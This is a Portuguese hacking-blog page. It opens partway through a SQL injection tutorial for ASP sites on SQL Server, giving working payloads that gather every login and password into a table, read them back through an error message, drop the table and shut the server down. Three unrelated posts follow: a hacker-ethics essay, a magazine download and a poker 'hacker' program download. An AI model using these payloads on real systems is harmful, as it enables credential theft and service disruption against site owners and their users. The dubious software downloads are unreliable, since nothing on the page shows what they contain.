Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.

A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.

Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end –

Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.

Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:

www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –

O retorno será alguma coisa desse tipo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to a column of data type int.
/arquivo.asp, line 94

Depois de ver os dados da nova tabela, apague-a:

Usuário: ‘; drop table alluser –

Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:

Usuário: ‘;shutdown–

Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.

Vale a pena lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.

Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil...

Exclusivo HackersPT e Guia Do Hacker...

Como ser um bom hacker -1ºPost

2011-05-24T15:28:00.000+01:00

1º - Para seres um bom hacker tens de saber o que é um hacker. Aposto que mais de 50 % das pessoas não sabem de onde veio ou o significado da palavra hacker ou do verbo hacking. Bem a palavra data a década de 50 (1950) e foi criada pela TMRC. O TMRC (Tech Model RailRoad Club) era um grupo que fazia alterações a interruptores ( que trabalhavam a electro-íman). Dois membros desse grupo (soldier e ChAoS) chamavam hacking à acção de alterar os interruptores inteligentemente. Quando o TX-0 ( máquina criada pela Digital Equipment Corporation que mais tarde foi comprada pela Compaq e posteriormente pela Hewlett-Packard que agora é demoninada por HP) apareceu, a TMRC começou a chamar de hacking á acção de trabalhar na programação de computadores . Anos mais tarde, o termo passou a ser usado com diversos significados: sucessos em determinadas áreas, fosse como uma solução não óbvia e particularmente elegante para um problema, ou uma partida inteligente pregada a alguém, ou ligar os sistemas informáticos e telefônicos para fazer chamadas grátis. Finalmente, o termo passou a ser utilizado exclusivamente na áreas da programação ou eletrônica, para designar indivíduos que demonstravam capacidades excepcionais nestes campos, efetivamente expandindo-os com atividades práticas e artísticas.

"Nós aqui no TMRC usamos os termo 'hacker' só com o seu significado original, de alguém que aplica o seu engenho para conseguir um resultado inteligente, o que é chamado de 'hack'. A essência de um 'hack' é que ele é feito rapidamente, e geralmente não tem elegância. Ele atinge os seus objetivos sem modificar o projeto total do sistema onde ele está inserido. Apesar de não se encaixar no design geral do sistema, um 'hack' é em geral rápido, esperto e eficiente. O significado inicial e benigno se destaca do significado recente - e mais utilizado - da palavra "hacker", como a pessoa que invade redes de computadores, geralmente com a intenção de roubar ou vandalizar. Aqui no TMRC, onde as palavras "hack" e "hacker" foram criadas e são usadas com orgulho desde a década de 1950, ficamos ofendidos com o uso indevido da palavra, para descrever atos ilegais. Pessoas que cometem tais coisas são mais bem descritas por expressões como "ladrões", "cracker de senhas" ou "vândalos de computadores". Eles com certeza não são verdadeiros "hackers", já que não entendem os valores "hacker". Não há nada de errado com o "hacking" ou em ser um "hacker".

Tech Model RailRoad Club

Sendo assim não pensem que este blog/site vos irá dar material para fazer com que vocês fiquem obcecados com entrar em redes sem permissão , etc, pois isso não é hacking.

Isso é ser cracker. É mais fácil um hacker transformar-se em cracker do que um cracker transformar-se em hacker.

Veja também :

A ética de um Hacker

[caption id="" align="aligncenter" width="614" caption="Simbolo Hacker proposto por Eric S. Raymond."][/caption]

Pc Gamer UK Junho 2011

2011-05-24T13:45:00.000+01:00

Pc Gamer Uk de Junho 2011...

Em exclusivo aqui no hackersPT...

Download

Calculatem Pro 5.4.24

2011-05-23T23:36:00.000+01:00

Programa que analisa a sua mão no poker, de fácil utilização. Programa hacker que te ajuda a vencer!

Exclusivo...

HackersPT

Download